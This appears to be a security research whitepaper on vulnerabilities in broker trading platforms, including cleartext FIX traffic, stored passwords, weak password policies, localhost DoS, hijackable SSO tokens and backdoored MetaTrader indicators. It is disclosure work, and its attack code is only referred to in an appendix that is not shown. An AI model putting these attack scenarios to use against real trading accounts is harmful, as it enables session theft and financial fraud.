Abstract

The advent of electronic trading platforms and networks has made exchanging financial securities easier and faster than ever; but this comes with inherent risks. Investing in money markets is no longer limited to the rich. With as little as $10, anyone can start trading stocks from a mobile phone, desktop application, or website.

This paper demonstrates vulnerabilities that affect numerous traders. Among them are unencrypted authentication, communications, passwords, and trading data; remote DoS that leaves applications useless; trading programming languages that allow DLL imports; insecurely implemented chatbots; weak password policies; hardcoded secrets; and poor session management. In addition, many applications lack countermeasures, such as SSL certificate validation and root detection in mobile apps, privacy mode to mask sensitive values, and anti-exploitation and anti-reversing mitigations.

The risks associated with the trading programming languages implemented in some applications is also covered, including how malicious expert advisors (trading robots) and other plugins could include backdoors or hostile code that would be hard for non-tech savvy traders to spot.
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Disclaimer

Most of the testing was performed using paper money (demo accounts) provided online by the brokerage houses. Only a few accounts were funded with real money for testing purposes. In the case of commercial platforms, the free trials provided by the brokers were used.

Only end-user applications and their direct servers were analyzed. Other backend protocols and related technologies used in exchanges and financial institutions were not tested.

This research is not about High Frequency Trading (HFT), blockchain, or how to get rich overnight.
Introduction

The days of open outcry on trading floors of the NYSE, NASDAQ, and other stock exchanges around the globe are gone. With the advent of electronic trading platforms and networks, the exchange of financial securities now is easier and faster than ever; but this comes with inherent risks.

From the beginning, bad actors have also joined Wall Street’s party, developing clever models for fraudulent gains. Their efforts have included everything from fictitious brokerage firms that ended up being Ponzi schemes[1] to organized cells performing Pump-and-Dump scams[2] (Pump: buy cheap shares and inflate the price through sketchy financials and misleading statements to the marketplace through spam, social media and other technological means; Dump: once the price is high, sell the shares and collect a profit).

When it comes to security, it’s worth noting how banking systems are organized when compared to global exchange markets. In banking systems, the information is centralized into one single financial entity; there is one point of failure rather than many, which makes them more vulnerable to cyberattacks.[3] In contrast, global exchange markets are distributed; records of who owns what, who sold/bought what, and to whom, are not stored in a single place, but many. Like matter and energy, stocks and other securities cannot be created from the void (e.g. a modified database record within a financial entity). Once issued, they can only be exchanged from one entity to another. That said, the valuable information as well as the attack surface and vectors in trading environments are slightly different than those in banking systems.
Over the years, I’ve used the desktop and web platforms offered by banks in my country with limited visibility of available trade instruments. Today, accessing global capital markets is as easy as opening a Facebook account through online brokerage firms. This is how I gained access to a wider financial market, including US-listed companies. Anyone can buy and sell a wide range of financial instruments on the secondary market (e.g. stocks, ETFs, etc.), derivatives market (e.g. options, binary options, contracts for difference, etc.), forex markets, or the avant-garde cryptocurrency markets.

Most banks with investment solutions and brokerage houses offer trading platforms to operate in the market. These applications allow you to do things including, but not limited to:

- Fund your account via bank transfers or credit card
- Keep track of your available equity and buying power (cash and margin balances)
- Monitor your positions (securities you own) and their performance (profit)
- Monitor instruments or indexes
- Give buy/sell orders
- Create alerts or triggers to be executed when certain thresholds are reached
- Receive real-time news or video broadcasts
- Stay in touch with the trading community through social media and chats

Needless to say, whether you’re a speculator, a very active intra-day trader, or simply someone who likes to follow long-term buy-and-hold strategies, every single item on the previous list must be kept secret and only known by and shown to its owner.

Last year, while using my trading app, I asked myself, “with the huge amount of money transacted in the money market, how secure are these platforms?” So, there I was, one
minute later, starting this research to expose cybersecurity and privacy weaknesses in some of these technologies.

Scope

My analysis **started mid-2017 and concluded in July 2018**. It encompassed the following platforms; **many of them are some of the most used and well-known trading platforms**, and some allow cryptocurrency trading:

- 16 Desktop applications
- 34 Mobile apps
- 30 Websites

These platforms are part of the trading solutions provided by the following **brokers**, which are **used by tens of millions of traders**. Some brokers offer the three types of platforms, however, in some cases only one or two were reviewed due to certain limitations:

- Ally Financial
- AvaTrade
- Binance
- Bitfinex
- Bitso
- Bittrex
- Bloomberg
- Capital One
- Charles Schwab
- Coinbase
- easyMarkets
- eSignal
- ETNA
- eToro
- E-TRADE
- ETX Capital
- ExpertOption
- Fidelity
- Firstrade
- FxPro
- GBMhomebroker
- Grupo BMV
- IC Markets
- Interactive Brokers
- IQ Option
- Kraken
- Markets.com
- Merrill Edge
- MetaTrader
- Money.Net
- NinjaTrader
- OANDA
- Personal Capital
- Plus500
- Poloniex
- Robinhood
- Scottrade
- TD Ameritrade
- TradeStation
- Yahoo! Finance

Devices used:
- **Windows 7** (64-bit)
- **Windows 10** Home Single (64-bit)
- **iOS 10.3.3** (iPhone 6) [not jailbroken]
- **iOS 10.4** (iPhone 6) [not jailbroken]
- Android 7.1.1 (Emulator) [rooted]
The following security controls/features were reviewed, which represent just the tip of the iceberg when compared to more exhaustive lists of security checks per platform. It’s very important to mention that some of these tests could not be performed on certain platforms due to certain limitations, such as not being able to create demo or real accounts, not being able to install the Android app in the emulator, apps performing SSL validation, and platforms not implementing the feature to be tested.

<table>
<thead>
<tr>
<th>Desktop</th>
<th>Mobile</th>
</tr>
</thead>
<tbody>
<tr>
<td>Two-factor authentication</td>
<td>Biometric authentication</td>
</tr>
<tr>
<td>Encrypted communication</td>
<td>Automatic logout/lockout for idle sessions</td>
</tr>
<tr>
<td>Automatic logout/lockout for idle sessions</td>
<td>Privacy mode</td>
</tr>
<tr>
<td>Privacy mode</td>
<td>Encrypted communication</td>
</tr>
<tr>
<td>Sensitive data in log files</td>
<td>SSL certificate validation</td>
</tr>
<tr>
<td>Secure data storage</td>
<td>Session management</td>
</tr>
<tr>
<td>Software vulnerabilities</td>
<td>Client-side data validation</td>
</tr>
<tr>
<td>Hardcoded secrets in the application</td>
<td>Sensitive data in logging console</td>
</tr>
<tr>
<td>Anti-exploitation mitigations</td>
<td>Secure data storage</td>
</tr>
<tr>
<td>Anti-reverse engineering</td>
<td>Root detection</td>
</tr>
<tr>
<td></td>
<td>App obfuscation</td>
</tr>
<tr>
<td></td>
<td>Hardcoded secrets in code</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Web</th>
</tr>
</thead>
<tbody>
<tr>
<td>Two-factor authentication</td>
</tr>
<tr>
<td>Weak password policy</td>
</tr>
<tr>
<td>Encrypted communication</td>
</tr>
<tr>
<td>Automatic logout/lockout for idle sessions</td>
</tr>
<tr>
<td>Security attributes in session cookies</td>
</tr>
<tr>
<td>Session valid after logout</td>
</tr>
<tr>
<td>Sensitive data in URL</td>
</tr>
<tr>
<td>Insecure site redirect</td>
</tr>
<tr>
<td>Cross-site Scripting (XSS) [GET]</td>
</tr>
<tr>
<td>Cross-site Request Forgery (CSRF) [GET]</td>
</tr>
<tr>
<td>Clickjacking</td>
</tr>
<tr>
<td>Security headers</td>
</tr>
<tr>
<td>Infrastructure vulnerabilities</td>
</tr>
<tr>
<td>Cybersecurity guidance</td>
</tr>
</tbody>
</table>
Results

Unfortunately, the results proved to be much worse compared with applications in retail banking. For example, mobile apps for trading are less secure than the personal banking apps reviewed in 2013 and 2015.[4][5]

Apparently, cybersecurity has not been on the radar of the FinTech space in charge of developing trading apps. Security researchers have disregarded these technologies as well, probably because of a lack of understanding of money markets.

While testing I noted a basic correlation: the biggest brokers are the ones that invest more in security. Their products are more mature in terms of functionality, usability, and security.

Based on my testing results and opinion, the following trading platforms are the most secure:

<table>
<thead>
<tr>
<th>Broker</th>
<th>Platforms</th>
</tr>
</thead>
<tbody>
<tr>
<td>TD Ameritrade</td>
<td>Web and mobile</td>
</tr>
<tr>
<td>Charles Schwab</td>
<td>Web and mobile</td>
</tr>
<tr>
<td>Merrill Edge</td>
<td>Web and mobile</td>
</tr>
<tr>
<td>Yahoo! Finance</td>
<td>Web and mobile</td>
</tr>
<tr>
<td>Robinhood</td>
<td>Web and mobile</td>
</tr>
<tr>
<td>MetaTrader 4/5</td>
<td>Desktop and mobile</td>
</tr>
<tr>
<td>Thinkorswim</td>
<td>Desktop</td>
</tr>
<tr>
<td>Bloomberg</td>
<td>Mobile</td>
</tr>
<tr>
<td>TradeStation</td>
<td>Mobile</td>
</tr>
<tr>
<td>Capital One</td>
<td>Mobile</td>
</tr>
</tbody>
</table>
Despite the fact that these platforms implement good security features, they also have areas that should be addressed to improve their security.

On the other hand, the following table list the platforms that need to improve in terms of security:

<table>
<thead>
<tr>
<th>Broker</th>
<th>Platforms</th>
</tr>
</thead>
<tbody>
<tr>
<td>Interactive Brokers</td>
<td>Desktop, web and mobile</td>
</tr>
<tr>
<td>IQ Option</td>
<td>Desktop, web and mobile</td>
</tr>
<tr>
<td>AvaTrade</td>
<td>Desktop and mobile</td>
</tr>
<tr>
<td>E-TRADE</td>
<td>Web and mobile</td>
</tr>
<tr>
<td>eSignal</td>
<td>Desktop</td>
</tr>
<tr>
<td>Charles Schwab</td>
<td>Desktop</td>
</tr>
<tr>
<td>TradeStation</td>
<td>Desktop</td>
</tr>
<tr>
<td>NinjaTrader</td>
<td>Desktop</td>
</tr>
<tr>
<td>Fidelity</td>
<td>Web</td>
</tr>
<tr>
<td>Firstrade</td>
<td>Web</td>
</tr>
<tr>
<td>Plus500</td>
<td>Web</td>
</tr>
<tr>
<td>Markets.com</td>
<td>Mobile</td>
</tr>
<tr>
<td>7 platforms more we can't name due to</td>
<td>Desktop, web and mobile</td>
</tr>
<tr>
<td>responsible disclosure</td>
<td></td>
</tr>
</tbody>
</table>

The following table lists medium- to high-risk vulnerabilities, and summarizes the platforms that have full or partial problems with encryption, Denial of Service, authentication, and/or session management:
<table>
<thead>
<tr>
<th>Broker</th>
<th>Desktop</th>
<th>Mobile</th>
<th>Web</th>
</tr>
</thead>
<tbody>
<tr>
<td>Interactive Brokers</td>
<td>Partially unencrypted communications</td>
<td>Partially unencrypted communications</td>
<td>Cross-site scripting</td>
</tr>
<tr>
<td></td>
<td>Third-party signal provider’s password stored unencrypted</td>
<td>Trading-related data stored unencrypted</td>
<td>Lack of some HTTP security headers</td>
</tr>
<tr>
<td></td>
<td>Trading-related data stored unencrypted</td>
<td></td>
<td>Password change not implemented</td>
</tr>
<tr>
<td>Charles Schwab</td>
<td>Partially unencrypted communications</td>
<td></td>
<td>Session is valid server-side after logout</td>
</tr>
<tr>
<td></td>
<td>Trading-related data stored unencrypted</td>
<td></td>
<td>Lack of some HTTP security headers</td>
</tr>
<tr>
<td>TD Ameritrade</td>
<td></td>
<td>Trading-related data stored unencrypted</td>
<td></td>
</tr>
<tr>
<td>Thinkorswim</td>
<td>Remote DoS due to memory exhaustion or through an order pop-up attack</td>
<td>Trading-related data stored unencrypted</td>
<td></td>
</tr>
<tr>
<td>Robinhood</td>
<td></td>
<td>Trading-related data stored unencrypted</td>
<td>Lack of some HTTP security headers</td>
</tr>
<tr>
<td>E-TRADE</td>
<td></td>
<td>Trading-related data stored unencrypted</td>
<td>Session is valid server-side after logout</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Session cookies without proper attributes</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Lack of some HTTP security headers</td>
</tr>
<tr>
<td>AvaTrade</td>
<td>Partially unencrypted communications</td>
<td>Password stored unencrypted</td>
<td></td>
</tr>
<tr>
<td>Fidelity</td>
<td></td>
<td></td>
<td>Session is valid server-side after logout</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Session cookies without proper attributes</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Lack of some HTTP security headers</td>
</tr>
<tr>
<td>Firsttrade</td>
<td></td>
<td>Trading-related data stored unencrypted</td>
<td>Weak passwords allowed</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Session cookies without proper attributes</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Lack of some HTTP security headers</td>
</tr>
<tr>
<td>TradeStation</td>
<td>Partially unencrypted communications</td>
<td>Trading-related data stored unencrypted</td>
<td></td>
</tr>
<tr>
<td>Broker</td>
<td>Desktop</td>
<td>Mobile</td>
<td>Web</td>
</tr>
<tr>
<td>-----------------------</td>
<td>----------------------------------------------</td>
<td>---------------------------------------------</td>
<td>-----------------------------------------------</td>
</tr>
<tr>
<td>IQ Option</td>
<td>Partially unencrypted communications</td>
<td>Password stored unencrypted</td>
<td>Weak passwords allowed</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Session cookies without proper attributes</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Lack of some HTTP security headers</td>
</tr>
<tr>
<td>eToro</td>
<td></td>
<td>Trading-related data stored unencrypted</td>
<td></td>
</tr>
<tr>
<td>NinjaTrader</td>
<td>Partially unencrypted communications</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Unencrypted ATI (Automated Trading Interface)</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Trading-related data stored unencrypted</td>
<td></td>
<td></td>
</tr>
<tr>
<td>eSignal</td>
<td>Unencrypted authentication</td>
<td></td>
<td>Weak passwords allowed</td>
</tr>
<tr>
<td></td>
<td>Remote DoS due to memory exhaustion</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Trading Plugins</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>passwords in cleartext (not corroborated)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Plus500</td>
<td></td>
<td></td>
<td>Weak passwords allowed</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Session cookies without proper attributes</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Lack of some HTTP security headers</td>
</tr>
<tr>
<td>easyMarkets</td>
<td></td>
<td>Trading-related data stored unencrypted</td>
<td></td>
</tr>
<tr>
<td>Markets.com</td>
<td></td>
<td>Password stored unencrypted</td>
<td>Session cookies without proper attributes</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Lack of some HTTP security headers</td>
</tr>
<tr>
<td>MetaTrader</td>
<td></td>
<td></td>
<td>Weak passwords allowed</td>
</tr>
<tr>
<td>Other brokers *</td>
<td>Partially unencrypted communications</td>
<td>Password stored unencrypted</td>
<td>Session is valid server-side after logout</td>
</tr>
<tr>
<td>(see note)</td>
<td>Trading-related data stored unencrypted</td>
<td></td>
<td>Weak passwords allowed</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Session cookies without proper attributes</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Lack of some HTTP security headers</td>
</tr>
</tbody>
</table>
*Note: There are other 7 brokers that suffer from some of the aforementioned problems, but details will not be disclosed due to the short period of time since we reported the issues. Logos and technical details that mention the names of such brokerage institutions were removed from the screenshots below presented to prevent any negative impacts to their customers and reputation.

The detailed issues I found are grouped in the following sections.

Common Vulnerabilities

This section describes types of vulnerabilities that are present in **two or three of the platform types: desktop, mobile, and web**. Later in this document, platform-specific flaws are also described.

*Unencrypted Communications*

In 9 desktop applications (64%) and in 2 mobile apps (6%), transmitted data unencrypted was observed. Most applications transmit most of the sensitive data in an encrypted way, however, there were some cases where cleartext data could be seen in unencrypted requests.

Among the data seen unencrypted are **passwords, balances, portfolio, personal information and other trading-related data**. In most cases of unencrypted transmissions, **HTTP in plaintext** was seen, and in others, **old proprietary protocols** or other **financial protocols such as FIX**[^6] were used.

Under certain circumstances, an attacker with access to some part of the network, such as the router in a public WiFi, could see and modify information transmitted to and from the trading application. In the trading context, a **malicious actor could intercept and alter values, such as the bid or ask prices of an instrument, and cause a user to buy or sell securities based on misleading information**.

In the following application, **AvaTradeAct**, HTTP requests are completely unencrypted and can be seen. It was even possible to see requests to other services, such as Autochartist, and since the login token was embedded in the URL, it was possible to log in successfully:
Buy/sell orders also traversed the unencrypted channel:

Another interesting example was found in eSignal's Data Manager. eSignal is a known signal provider and integrates with a wide variety of trading platforms. It acts as a source of market data. During the testing, it was noted that Data Manager authenticates over an unencrypted protocol on the TCP port 2189, apparently developed in 1999.

As can be seen, the copyright states it was developed in 1999 by Data Broadcasting Corporation. Doing a quick search, we found a document from the SEC that states the company changed its name to Interactive Data Corporation, the owners of eSignal. In other
words, it looks like it is an in-house development created almost 20 years ago. We could not corroborate this information, though.

The main eSignal login screen also authenticates through a cleartext channel:

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**FIX** is a protocol initiated in 1992 and is one of the industry standard protocols for messaging and trade execution. Currently, it is used by a majority of exchanges and traders. There are guidelines on how to implement it through a secure channel, however, the binary version in cleartext was mostly seen. Tests against the protocol itself were not performed in this analysis.

Among the brokers seen using FIX are **TD Ameritrade**, **Interactive Brokers**, and **FxPro**:

There are some cases where the application encrypts the communication channel, except in certain features. For instance, **Interactive Brokers** desktop and mobile applications encrypt all the communication, but not that used by **iBot**, the robot assistant that receives text or voice commands, which sends the instructions to the server embedded in a **FIX protocol message** in cleartext:
In the logging console it was possible to see another FIX message with the account balances in plaintext:
News related to the positions were also observed in plaintext:

In the following FIX message, the account number and other values are also shown in cleartext:
Another instance of an application that uses encryption but not for certain channels is this one, Interactive Brokers for Android, where a diagnostics log with sensitive data is sent to the server in a scheduled basis through unencrypted HTTP:

A similar platform that sends everything over HTTPS is IQ Option, but for some reason, it sends duplicate unencrypted HTTP requests to the server disclosing the session cookie.
Others appear to implement their own binary protocols, such as Charles Schwab, however, symbols in watchlists or quoted symbols could be seen in cleartext:
Interactive Brokers supports encryption but by default uses an insecure channel; an inexperienced user who does not know the meaning of “SSL” (Secure Socket Layer) won't enable it on the login screen and some sensitive data will be sent and received without encryption:
Other platforms offer a TCP server, however, some lack authentication and encryption, such as **NinjaTrader**'s Automated Trading Interface (ATI). After connecting, cleartext data related to the accounts and balances was received:

![NinjaTrader Automated Trading Interface](image)

Finally, it was seen that some non-sensitive data (e.g. public news or live financial TV broadcasting) travels through insecure channels, but this does not seem to represent a risk to the user.

**Passwords Stored Unencrypted**

In 7 mobile apps (21%) and in 3 desktop applications (21%), the user’s password was stored unencrypted in a configuration file or sent to log files. Local access to the computer or mobile device is required to extract them, though. This access could be either physical or through malware.

In a hypothetical attack scenario, a malicious user could extract a password from the file system or the logging functionality without any in-depth know-how (it’s relatively easily), log in through the web-based trading platform from the brokerage firm, and perform unauthorized actions. They could sell stocks, transfer the money to a newly added bank account, and delete this bank account after the transfer is complete. During testing, I noticed that most web platforms (+75%) support two-factor authentication (2FA), however, **it’s not enabled by default**, the user must go to the configuration and enable it to receive authorization codes by text messages or email. Hence, if 2FA is not enabled in the account, it’s possible for an attacker, that knows the password already, to link a new bank account and withdraw the money from sold securities.
As could be seen in the previous section, some unencrypted channels also expose users’ credentials. The following are some instances where passwords are stored locally unencrypted or sent to logs in cleartext:
Base64 is not encryption:
In some cases, the password was sent to the server as a GET parameter, which is also insecure:

One PIN for login and unlocking the app was also seen:
In IQ Option, the password is stored completely unencrypted:

However, in a newer version, the password is encrypted in a configuration file, but is still stored in cleartext in a different file:

Certain applications protect the customer’s password but do not protect other passwords, such as the ones for third-party services or proxies:
Finally, not a password *per se*, but a session ID is stored unencrypted, which is enough to hijack the IQ Option session:
**Trading and Account Information Stored Unencrypted**

In the trading context, operational or strategic data must not be stored unencrypted nor sent to the any log file in cleartext. This sensitive data encompasses values such as personal data, general balances, cash balance, margin balance, net worth, net liquidity, the number of positions, recently quoted symbols, watchlists, buy/sell orders, alerts, equity, buying power, and deposits. Additionally, sensitive technical values such as username, password, session ID, URLs, and cryptographic tokens should not be exposed either.

8 desktop applications (57%) and 15 mobile apps (44%) sent sensitive data in cleartext to log files or stored it unencrypted. Local access to the computer or mobile device is required to extract this data, though. This access could be either physical or through malware.

If these values are somehow leaked, a *malicious user could gain insight into users’ net worth and investing strategy* by knowing which instruments users have been looking for recently, as well as their balances, positions, watchlists, buying power, etc.

Imagine a hypothetical scenario where *a high-profile investor loses his phone* and the trading app he has been using stores his “Potential Investments” watchlist in cleartext. If the extracted watchlist ends up in the hands of someone who wants to mimic this investor’s strategy, they could buy stocks prior to a price increase. In the worst case, imagine a “Net Worth” figure landing in the wrong hands, say kidnappers, who now know how generous ransom could be.

The following screenshots show applications that store sensitive data unencrypted:

Balances:
Investment portfolio:
Personal information:

Buy/sell orders:
Watchlists:
Recently quoted symbols:
Other data:

**Authentication**

While most web-based trading platforms support 2FA (+75%), most desktop applications do not implement it to authenticate their users, even when the web-based platform from the same broker supports it. There are a few brokers that implement 2FA but not as self-enrollment as most brokers do, instead, they require their customers to enable it through a phone call, which in my opinion is not as effective as the self-enrollment process.

Nowadays, most modern smartphones support **fingerprint-reading**, and most trading apps use it to authenticate their customers. **Only 8 apps (24%) do not implement this feature.**

Unfortunately, using the fingerprint database in the phone has a downside:
Weak Password Policies

Some institutions let the users choose easily guessable passwords. For example, Plus500 or MetaTrader:

The lack of a secure password policy increases the chances that a brute-force attack will succeed in compromising user accounts.

In some cases, such as in IQ Option and Markets.com, the password policy validation is implemented on the client-side only, hence, it is possible to intercept a request and send a weak password to the server:
Automatic Logout/Lockout for Idle Sessions
Most web-based platforms logout(lockout) the user automatically, but this is not the case for 
desktop (43%) and mobile apps (25%). This is a security control that forces the user to 
authenticate again after a period of idle time.

Privacy Mode
This mode protects the customers' private information from being displayed on the screen 
in public areas where shoulder-surfing[7] attacks are feasible. Most of the mobile apps, 
desktop applications, and web platforms do not implement this useful and important 
feature.

The following images show before and after enabling privacy mode in Thinkorswim for 
desktop and for mobile:
Yahoo! Finance:
It’s worth noting that not only balances, positions, and other sensitive values in the trading context should be masked, but also credit card information when entered to fund the trading account. Following easyMarkets, where the CVC is not masked:

![Deposit Form](image)

### Hardcoded Secrets in Code and App Obfuscation

16 Android .apk installers (47%) were easily reverse engineered to human-readable code since they lack of obfuscation. Most Java and .NET-based desktop applications were also reverse engineered easily. The rest of the applications had medium to high levels of obfuscation, such as Merrill Edge in the next screenshot.

![Hardcoded Code](image)
The goal of obfuscation is to conceal the applications purpose (security through obscurity) and logic in order to deter reverse engineering and to make it more difficult.

In the non-obfuscated platforms, there are hardcoded secrets such as cryptographic keys and third-party service partner passwords. This information could allow unauthorized access to other systems that are not under the control of the brokerage houses. For example, a Morningstar.com account (investment research) hardcoded in a Java class from the reversed E-TRADE app:

```
\$ grep -rn morningstar.com
com/ MFProspectus.this.prospectusWebView.
loadUrl("http://.morningstar.com/DocDetail.aspx?clientid= USER= key= PASSWORD= investm
enttype= &doctype= &
\$ nitzus@bukowski.com
```

A private key hardcoded in AvaTradeGO:

Java classes could easily be reverse engineered. For example, Thinkorswim’s TCP-order server was easily reverse engineered in order to determine the acceptable format for emitting buy/sell orders remotely. Code demonstrating an order pop-up attack (Thinkorswim Order Pop-up Attack) on this platform is included in Appendix A.
Interestingly, 14 of the mobile apps (41%) and 4 of the desktop platforms (29%) have traces (hostnames and IPs) about the internal development and testing environments where they were made or tested. Some hostnames are reachable from the Internet and since they’re testing systems they could lack of proper protections:
Related to reverse engineering, in some cases symbols were found in final releases. Symbols help in the understanding of the internal functions and dramatically ease the reverse engineering process. For example, symbols seen in eSignal:
In other cases, such as NinjaTrader, it was possible to see insecure calls such as:

```python
try {
xmldocument.Load(stc);" ,
if (xmlNodes != null)
{
    Connection_userInfoXml = xmlNodes.GetChildNode("Username");
    foreach (XmlNode childNode in xmlNodes.ChildNodes) {
        XElement xElement = (XElement)childNode;
        string lower = xElement.Name.ToLower();
```
Better protect yourself by understanding the threat

Knowing about possible online risks will help you better understand and recognize potential online threats to the security of your personal information. Your awareness, combined with our vigilance, can help to decrease the risk to your accounts and information.

Avoid becoming a victim—use security products and tools
What to do if you suspect you’re a victim

Identity Theft

Identity theft—using a person’s personal or financial data to commit fraud—is one of the most rapidly growing global crimes. The targets of this crime are your personal information, your financial information, and access to your online accounts.

The personal information often targeted includes:
- Name, address, and date of birth
- Social Security number
- Driver’s license number
- Passport
- Signature

The financial information often sought is:
- User IDs and passwords
- Account numbers and ABA numbers
- Credit card numbers

How to Deal With Security Threats to Your Account

Although scam artists try very hard to make fraudulent emails resemble official communication, there are often clues that will allow you to detect the scam. Here are some common characteristics of “phishing” emails, and how to determine if the email is authentic or a spoof.

Start by spotting the fraudulent communication.

- The email is completely unsolicited, from an address that looks legitimate (such as support@firstrade.com or feedback@firstrade.com).
- The email includes the logo graphics to convince the reader of its authenticity, but has obvious typos and poor grammar.
- Content of the email lures the user to reply in order to confirm or verify personal information. This is usually

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Desktop-specific Vulnerabilities

Desktop platforms are the most complete solutions offered since they implement most sophisticated tools for trading, charting, market research, and integration with other tools. This is the reason why the attack surface is larger for these platforms.

The following are some common vulnerabilities found in these applications.

Denial of Service

Many desktop platforms integrate with other trading software through common TCP/IP sockets. Nevertheless, some common weaknesses are present in the connections handling of such services.

A common error is not implementing a limit of the number of concurrent connections. If there is no limit of concurrent connections on a TCP daemon, applications are susceptible to denial-of-service (DoS) or other type of attacks depending on the nature of the applications.

For example, TD Ameritrade’s Thinkorswim TCP-Orders Server listens on the TCP port 2000 in the localhost interface, and there is no limit for connections nor a waiting time between orders. This leads to the following problems:

- Memory leakage since, apparently, the resources assigned to every connection are not freed upon termination.
- Continuous order pop-ups (one pop-up per order received through the TCP server) render the application useless.
- A NULL pointer dereference is triggered and an error report (.zip file) is created.

Regardless, it listens on the local interface only. There are different ways to reach this port, such as XMLHttpRequest() in JavaScript through a web browser.

Memory leakage could be easily triggered by creating as many connections as possible, as shown:
For each connection, the memory is not released and increments until the application runs out of memory:
The C code used to create numerous connections (Generic Port Stressor) and code demonstrating an order pop-up attack (Thinkorswim Order Pop-up Attack) on this platform is included in Appendix A.

TD Ameritrade fixed this DoS vulnerability in Thinkorswim very quickly after we sent the report.

Finally, there could be a privacy concern since the screenshot that is sent to the developers along with the error report (.zip file) might contain sensitive trading information (i.e. net worth, balances, positions, etc.):
A similar DoS vulnerability due to memory exhaustion was found in eSignal’s Data Manager. eSignal is a known signal provider and integrates with a wide variety of trading platforms. It acts as a source of market data; therefore, availability is the most important asset.

According to my understanding, Data Manager is used as a bridge to obtain real-time financial information, and other trading tools are configured to connect to this service through a TCP port remotely. It listens on port 2189 for all the network interfaces and there is no limit on the number of connections. There are different ways to reach this port, either remotely (i.e. from another computer in the network) or locally; for example, through XMLHttpRequest() in JavaScript rendered in the trader’s web browser.

The same code in Appendix A (Generic Port Stressor) was used to trigger a DoS condition:
It’s recommended to implement a configuration item to allow the user to control the behavior of the TCP order server, such as controlling the maximum number of orders sent per minute as well as the number of seconds to wait between orders to avoid bottlenecks.

The following capture from Interactive Brokers shows when this countermeasure is implemented properly. No more than 51 users can be connected simultaneously:
Trading Programming Languages with DLL Import Capabilities

This is not a bug, it's a feature. Some trading platforms allow their customers to create their own automated trading robots (a.k.a. expert advisors), indicators, and other plugins. This is achieved through their own programming languages, which in turn are based on other languages, such as C++, C#, or Pascal.

The following are a few of the trading platforms with their own trading language:

- MetaTrader: MetaQuotes Language (Based on C++ - Supports DLL imports)
- NinjaTrader: NinjaScript (Based on C# - Supports DLL imports)
- TradeStation: EasyLanguage (Based on Pascal - Supports DLL imports)
- AvaTraceAct: ActFX (Based on Pascal - Does not support OS commands nor DLL imports)
- (FxPro/IC Markets) cTrader: Based on C# (OS command and DLL support is unknown)

Nevertheless, some platforms such as MetaTrader warn their customers about the dangers related to DLL imports and advise them to only execute plugins from trusted sources. However, there are Internet tutorials claiming, “to make you rich overnight” with certain trading robots they provide. These tutorials also give detailed instructions on how to install them in MetaTrader, including enabling the checkbox to allow DLL imports. Innocent non-tech savvy traders are likely to enable such controls, since not everyone knows what a DLL file is or what is being imported from it. Dangerous.

Code demonstrating a malicious indicator that, when loaded into any chart, downloads and executes a backdoor for remote access is included in Appendix A (MetaTrader 5 Backdoor Disguised as an Ichimoku Indicator):
Another basic example is **NinjaTrader**, which simply allows OS commands through C#'s `System.Diagnostics.Process.Start()`. In the following screenshot, calc.exe executed from the chart initialization routine:

![NinjaTrader screenshot](image)

**Authentication Token as a URL Parameter to the Browser**

Some trading applications allow customers to see more details about their accounts. To do so, when clicking on certain parts of the application, the user is redirected and logged in automatically to the brokerage web portal. The risk related in this feature is that the URL passed to the web browser contains authentication tokens that could be grabbed from the OS process list, and therefore, the web session could be hijacked.

This is a common feature seen in some applications, and hypothetical, but feasible attack scenarios could be performed:

- An attacker controlling the OS could leave an endless loop sensing for the list of processes in the OS. As soon as the application launches such a URL, the attacker could grab it and automatically send a request to gain the session. If the request succeeds, the attacker could grab the session ID and set it into a new web browser to operate as the owner of the trading account.

- A trading-oriented malware could run stealthily on the trader workstation, sensing the process list, grabbing such a URL, gaining control of the session, and sending the hijacked session ID back to the attacker. The attacker then sets this information in the browser and operates as the owner of the trading account.

The session tokens passed through the URL are Single Sign-on (SSO) and are usable once, hence, it’s a race to see who wins the session token passed in the URL, but still, both attacks are feasible. Imagine that the web browser is completely closed, whenever the
trading application launches the URL, it’d be visible from the process list and the time to hijack this would be faster than waiting for the browser to load in memory and to open such URL in a new tab. **One second is enough to hijack the session.**

Applications with this behavior include **IQ Option**, **Charles Schwab**, and **Interactive Brokers**:
There are applications such as Money.Net that implement their own Web UI and allow the user to choose either to use the default web browser or use their own within the trading platform:
In the end, it’s the well-known trade-off between usability and security.

**Lack of Anti-exploitation Mitigations**

ASLR randomizes the virtual address space locations of dynamically loaded libraries. DEP disallows the execution of data in the data segment. Stack Canaries are used to identify if the stack has been corrupted. These security features make much more difficult for memory corruption bugs to be exploited and execute arbitrary code.

The majority of the desktop applications do not have these security features enabled in their final releases. In some cases, that these features are only enabled in some components, not the entire application. In other cases, components that handle network connections also lack these flags.

<table>
<thead>
<tr>
<th>File Name</th>
<th>ARCH</th>
<th>ASLR</th>
<th>DEP</th>
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<td>C:\Program Files\Interactive Data\Interactive Data\VPSOS\vpsos.dll</td>
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<td>5934</td>
<td>False</td>
<td>True</td>
<td>False</td>
</tr>
</tbody>
</table>

Linux applications have similar protections. IQ Option for Linux does not enforce all of them on certain binaries.

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Other Weaknesses
Other minor issues found on this platform are:

- **Unhandled exceptions thrown to the user interface**: this might disclose internal states of the application and help reverse engineering. The user experience is affected too.
Mobile-specific Vulnerabilities

The following are some common vulnerabilities found in mobile apps.

SSL Certificate Validation
